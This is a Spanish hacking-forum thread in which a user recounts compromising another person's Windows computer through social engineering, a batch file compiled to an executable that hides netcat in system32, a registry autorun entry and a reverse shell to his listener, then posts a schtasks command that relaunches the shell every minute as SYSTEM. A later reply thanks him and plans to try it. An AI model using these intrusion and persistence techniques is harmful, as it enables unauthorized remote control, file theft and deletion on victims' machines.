elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Ejecutar un comando cada X tiempo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ejecutar un comando cada X tiempo  (Leído 12,551 veces)
ElDaxter

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Ejecutar un comando cada X tiempo
« en: 17 Junio 2006, 13:26 pm »

Os explico, he accedido a otro ordenador conectado a internet mediante router utilizando una mezcla de batch + ingenieria social + reverse shell con netcat. Concretamente, he hecho un pequeño batch file que al ejecutarse copia NC en system32 con un nombre poco sospechoso, luego ejecuta añada al registro una entrada para que ejecute la shell con el nc cada vez que inicia windows y finalmente ejecuta la reverse shell al puerto 4661 mientras yo tengo el puerto esperando.

Hasta aquí perfecto, el usuario ejecuta el bat previamente compilado a exe con bat2exec, se copian los archivos a system32 y se ejecuta la reverse shell, en ese momento al tener el netcat esperando se conecta y consigo una shell remota. He llegado a eliminar archivos, bajar archivos por tftp, etc.

Bueno, pues lo que quiero conseguir es ejecutar el comando con el nc cada X tiempo, por ejemplo, cada 5 minutos ya que si cae mi conexión a internet pierdo la conexión hasta que el usuario reinicia el PC.

Así a bote pronto no se me ocurre nada. Alguna idea?

Un saludo y gracias.   ;D
En línea

ElDaxter

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Ejecutar un comando cada X tiempo
« Respuesta #1 en: 18 Junio 2006, 17:07 pm »

Bueno, pues finalmente creo que me he coronado. Por fin tengo total control sobre la victima, cada minuto, se ejecuta una tarea que me sirve una shell al puerto 4661. Por lo tanto en cualquier momento del dia puedo poner el netcat esperando en el 4661 y en menos de 1 minuto estaré conectado.

Que he usado? Un comando de windows (M$ como te quiero xD) que se llama "schtasks" que te permite programar tareas para que se ejecuten desde cada minuto hasta cada mes, etc. Vamos, una especie de AT. Al principio me ha costado un poco configurarmelo pero finalmente he conseguido que funcione perfecto. Ahi va:


Código:
schtasks /create /TN Winexec32 /TR "lo que quieras ejecutar" /SC MINUTE /RU ""

Añadiendo /RU "" se ejecuta la accion como SYSTEM.

Un saludo
En línea

nigan

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Re: Ejecutar un comando cada X tiempo
« Respuesta #2 en: 27 Junio 2017, 21:44 pm »

muy bueno..lo probare..tenia mas menos ese problema..gracias...te digo resultados mañana
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Actualizar un JPanel cada X tiempo
Java
thechacal23 3 4,273 Último mensaje 2 Enero 2012, 18:25 pm
por thechacal23
[Python] Ejecutar comando y matarlo al cabo del tiempo.
Scripting
Distorsion 2 4,128 Último mensaje 10 Enero 2012, 15:42 pm
por Distorsion
Ejecutar programa cada X tiempo
Windows
msies 3 7,879 Último mensaje 6 Marzo 2013, 14:01 pm
por #Borracho.-
Medir tiempo que tarda un comando en ejecutarse (y ejecutar el comando)
GNU/Linux
ccrunch 2 3,746 Último mensaje 2 Diciembre 2014, 00:59 am
por MinusFour
Ejecutar funcion en bucle cada X tiempo.
Programación C/C++
Kaxperday 7 3,940 Último mensaje 13 Julio 2015, 23:54 pm
por ivancea96
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines